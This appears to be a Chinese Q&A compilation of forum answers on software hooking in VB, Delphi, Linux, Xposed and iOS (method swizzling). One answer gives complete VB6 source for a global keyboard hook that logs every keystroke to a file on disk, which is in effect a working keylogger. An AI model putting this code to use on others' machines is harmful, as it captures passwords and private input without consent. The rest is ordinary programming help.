❶ 急!!~~vb 使用hook如何得到记事本的右键弹出菜单句柄,有源码最好,谢谢
不用hook。
示例如下:
在窗体上加入控件Text1、Timer1,然后复制下面代码,运行。此时在Text1处单击右键,在弹出菜单的同时立即捕获该句柄。
Private Declare Function FindWindow Lib "User32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Sub Form_Load()
Timer1.Interval = 50
Timer1.Enabled = False
End Sub
Private Sub Text1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button = 1 Then
Timer1.Tag = FindWindow("#32768", vbNullString)
Timer1.Enabled = True
End If
End Sub
Private Sub Timer1_Timer()
Dim NewWnd As Long
NewWnd = FindWindow("#32768", vbNullString)
If NewWnd <> Val(Timer1.Tag) Then
Me.Caption = "右键弹出菜单的句柄是:" & NewWnd
Timer1.Enabled = False
End If
End Sub
❷ 我是电脑迷,常看到API hook,请问什么用法是什么意思啊
1、API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数,目的是提供应用程序与开发人员基于某软件或硬件的以访问一组例程的能力,而又无需访问源码,或理解内部工作机制的细节。API除了有应用“应用程序接口”的意思外,还特指 API的说明文档,也称为帮助文档。
2、也就是说,Windows 这个多作业系统除了协调应用程式的执行、分配内存、管理系统资源…之外, 她同时也是一个很大的服务中心,调用这个服务中心的各种服务(每一种服务就是一个函数),可以帮应用程式达到开启视窗、描绘图形、使用周边设备…等目的,由于这些函数服务的对象是应用程式, 所以便称之为 Application Programming Interface,简称 API 函数。WIN32 API也就是MicrosoftWindows 32位平台的应用程序编程接口。 凡是在 Windows 工作环境底下执行的应用程式, 都可以调用Windows API。
❸ linux系统下监控打印机需要Hook的函数有哪些
如果只是监视普通文件操作,一般情况下不需要修改内核。
运行“strace -e file -o log.txt 可执行文件名" 即可。对已经运行的程序,用strace -p pid。
最创建子进程的,加-f参数。具体man strace。
❹ 易语言 如何通过 hook 获取控制台(类比为cmd)显示内容
可以参考C语言的成功案例。然后请求大神吧C语言的代码翻译过来;。。
❺ xposed 怎样让activity调用hook
理解hook,并且分析源码如果我们自己创建代理对象,然后把原始对象替换为我们的代理对象,那么就可以在这个代理对象为所欲为了;修改参数,替换返回值,我们称之为Hook。接下来我们来实现Hook掉startActivity这个方法,当每次调用这个方法的时候来做我们需要做的事情,我这里之打印了一些信息,读者可以更具自己的需求来修改,我们的目的是拦截startActivity方法,有点类是spring 里面AOP的思想
❻ delphi怎么HOOK指定API函数!
API钩子很简单,源码我没有,如果你会用API的话,我给你讲一下实现的过程吧:先用GetMoleHandle函数获取dll的模块句柄,再用GetProcAddress函数获取要HOOK的函数地址,
下一步用VirtualProtect函数将要HOOK的函数所在地址的属性设置为可写,最后一步,将新函数地址(用于替换原函数)写到原函数入口地址替换掉原函数地址,这样就实现了API钩子功能了
❼ c# hook 怎么用OpenProcess 防止自己的进程被杀 ,最好给完整源码例子
C的我有
R3下基本就是IAT hook inline或是用destours库
❽ 谁能给个VBAPI函数拦截的源码我看看就是APIHOOK
添加一个窗口,添加一个按钮,然后粘贴如下代码
Private Sub Command1_Click()
'加载
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)
If hHook = 0 Then
End
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
'卸载
Call UnhookWindowsHookEx(hHook)
End Sub
=================================
添加一个模块,在模块内粘贴以下代码
'++++++++++++++++++++++++++++++++++++++++++++
'模块部分
'++++++++++++++++++++++++++++++++++++++++++++
Public hHook As Long
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Public mymsg As EVENTMSG
Public Const WH_KEYBOARD_LL = 13
Public Const WM_KEYDOWN = &H100
Public Sub PrintTXT(ByVal CaseStr As String)
Open "c:\键盘记录.txt" For Append As #1
Print #1, CaseStr
Close #1
End Sub
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
Select Case mymsg.vKey
Case 96
PrintTXT " 小键盘0 "
Case 97
PrintTXT " 小键盘1 "
Case 98
PrintTXT " 小键盘2 "
Case 99
PrintTXT " 小键盘3 "
Case 100
PrintTXT " 小键盘4 "
Case 101
PrintTXT " 小键盘5 "
Case 102
PrintTXT " 小键盘6 "
Case 103
PrintTXT " 小键盘7 "
Case 104
PrintTXT " 小键盘8 "
Case 105
PrintTXT " 小键盘9 "
Case 106
PrintTXT " 小键盘* "
Case 107
PrintTXT " 小键盘+ "
Case 109
PrintTXT " 小键盘- "
Case 110
PrintTXT " 小键盘. "
Case 111
PrintTXT " 小键盘/ "
Case 13
PrintTXT " 小键盘Enter "
Case 144
PrintTXT " 小键盘numlock "
Case 65
PrintTXT " A "
Case 66
PrintTXT " B "
Case 67
PrintTXT " C "
Case 68
PrintTXT " D "
Case 69
PrintTXT " E "
Case 70
PrintTXT " F "
Case 71
PrintTXT " G "
Case 72
PrintTXT " H "
Case 73
PrintTXT " I "
Case 74
PrintTXT " J "
Case 75
PrintTXT " K "
Case 76
PrintTXT " L "
Case 77
PrintTXT " M "
Case 78
PrintTXT " N "
Case 79
PrintTXT " O "
Case 80
PrintTXT " P "
Case 81
PrintTXT " Q "
Case 82
PrintTXT " R "
Case 83
PrintTXT " S "
Case 84
PrintTXT " T "
Case 85
PrintTXT " U "
Case 86
PrintTXT " V "
Case 87
PrintTXT " W "
Case 88
PrintTXT " X "
Case 89
PrintTXT " Y "
Case 90
PrintTXT " Z "
Case 48
PrintTXT " 0 "
Case 49
PrintTXT " 1 "
Case 50
PrintTXT " 2 "
Case 51
PrintTXT " 3 "
Case 52
PrintTXT " 4 "
Case 53
PrintTXT " 5 "
Case 54
PrintTXT " 6 "
Case 55
PrintTXT " 7 "
Case 56
PrintTXT " 8 "
Case 57
PrintTXT " 9 "
Case 192
PrintTXT " ` "
Case 189
PrintTXT " - "
Case 187
PrintTXT " = "
Case 220
PrintTXT " \ "
Case 8
PrintTXT " 退格 "
Case 44
PrintTXT " 9键区-印屏幕键 "
Case 45
PrintTXT " 9键区-插入键 "
Case 46
PrintTXT " 9键区-删除键 "
Case 145
PrintTXT " 9键区-滚动锁定键 "
Case 36
PrintTXT " 9键区-起始键 "
Case 35
PrintTXT " 9键区-结束键 "
Case 19
PrintTXT " 9键区-暂停中断键 "
Case 33
PrintTXT " 9键区-上页 "
Case 34
PrintTXT " 9键区-下页 "
Case 38
PrintTXT " 上 "
Case 40
PrintTXT " 下 "
Case 37
PrintTXT " 左 "
Case 39
PrintTXT " 右 "
Case 27
PrintTXT " Esc "
Case 112
PrintTXT " F1 "
Case 113
PrintTXT " F2 "
Case 114
PrintTXT " F3 "
Case 115
PrintTXT " F4 "
Case 116
PrintTXT " F5 "
Case 117
PrintTXT " F6 "
Case 118
PrintTXT " F7 "
Case 119
PrintTXT " F8 "
Case 120
PrintTXT " F9 "
Case 121
PrintTXT " F10 "
Case 122
PrintTXT " F11 "
Case 123
PrintTXT " F12 "
Case 9
PrintTXT " 大键盘左,TAB "
Case 20
PrintTXT " 大键盘左,大写锁定 "
Case 160
PrintTXT " 大键盘左Shift "
Case 162
PrintTXT " 大键盘左,Ctrl "
Case 91
PrintTXT " 大键盘左,Win "
Case 13
PrintTXT " 大键盘右,回车 "
Case 161
PrintTXT " 大键盘右,Shift "
Case 92
PrintTXT " 大键盘右,Win "
Case 93
PrintTXT " 大键盘右,弹菜单键 "
Case 163
PrintTXT " 大键盘右,Ctrl "
End Select
End If
End If
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
End Function
'这就是一个键盘钩子程序
❾ iOS中如何实现hook
我们都知道在windows下可以通过API轻松的hook很多消息,IOS里面貌似还没有现成的API(可能是我还没发现吧),前段时间碰巧看到Objective-C运行时的一些东西,于是心想着是不是可以尝试一下实现hook的功能。
下面先直接上源码:1//2//TestHookObject.m3//TestHookMessage4//5//Created by mapleCao on 13-2-28.6//Copyright (c) 2013年 mapleCao. All rights reserved.7//89#import"TestHookObject.h"10#import<objc/objc.h11#import<objc/runtime.h1213@implementation
TestHookObject1415//this method will just excute once16+ (void)initialize17{18//获取到UIWindow中sendEvent对应的method19Method sendEvent = class_getInstanceMethod([UIWindowclass
], @selector(sendEvent:));20Method sendEventMySelf = class_getInstanceMethod([selfclass
], @selector(sendEventHooked:));2122//将目标函数的原实现绑定到sendEventOriginalImplemention方法上23IMP sendEventImp =
method_getImplementation(sendEvent);24class_addMethod([UIWindowclass
], @selector(sendEventOriginal:), sendEventImp, method_getTypeEncoding(sendEvent));2526//然后用我们自己的函数的实现,替换目标函数对应的实现27IMP sendEventMySelfImp =
method_getImplementation(sendEventMySelf);28class_replaceMethod([UIWindowclass
], @selector(sendEvent:), sendEventMySelfImp, method_getTypeEncoding(sendEvent));29}3031/*32* 截获到window的sendEvent33* 我们可以先处理完以后,再继续调用正常处理流程34*/35- (void)sendEventHooked:(UIEvent *)event36{37//do something what ever you want38NSLog(@"haha, this is my self sendEventMethod!!!!!!!");3940//invoke original implemention41[self performSelector:@selector(sendEventOriginal:) withObject:event];42}4344@end下面我们来逐行分析一下上面的代码:
首先我们来看19行,这一行主要目的是获取到UIWindow原生的sendEvent的
Method(一个结构体,用来对方法进行描述)
,接着第20行是获取到我们自己定义的类中的sendEvent的Method
(这两个方法的签名必须一样,否则运行时报错)
。第23行我们通过UIWindow原生的sendEvent的Method获取到对应的
IMP(一个函数指针)
,第24行使用运行时API Class_addMethod给UIWindow类添加了一个叫sendEventOriginal的方法,该方法使用UIWindow原生的sendEvent的实现,并且有着相同的方法签名
(必须相同,否则运行时报错)。
27行是获取我们自定义类中的sendEventMySelf的IMP,28行是关键的一行,这一行的主要目的是为UIWindow原生的sendEvent指定一个新的实现,我们看到我们将该实现指定到了我们自己定义的sendEventMySelf上。到了这儿我们就完成了偷梁换柱,大功告成。
执行上面这些行以后,我们就成功的将UIWindow的sendEvent重定向到了我们自己的写的sendEventMySelf的实现,然后将其原本的实现重定向到了我们给它新添加的方法sendEventOriginal中。而sendEventMySelf中,我们首先可以对这个消息进行我们想要的处理,然后再通过41行调用sendEventOriginal方法转到正常的执行流程。
为什么执行起来不报错,而且还会正常执行?因为sendEventMySelf是UIWindow的sendEvent重定向过来的,所以在运行时该方法中的self代表的就是UIWindow的实例,而不再是TestHookObject的实例了。加上sendEventOriginal是我们通过运行时添加到UIWindow的实例方法,所以可以正常调用。当然如果直接通过下面这种方式调用也是可以的,只不过编译器会提示警告
(编译器没那么智能)
,因此我们采用了performSelector的调用方式。
[self sendEventOriginal:event];以上就是Hook的实现,使用时我们只需要让TestHookObject类执行一次初始话操作就可以了,执行完以后。UIWindow的sendEvent消息就会会hook到我们的sendEventMySelf中了。
下面是调用代码:
Install Hook
代码中我们还专门添加了一个button来验证,hook完以后消息是否正常传递。经验证消息流转完全正常。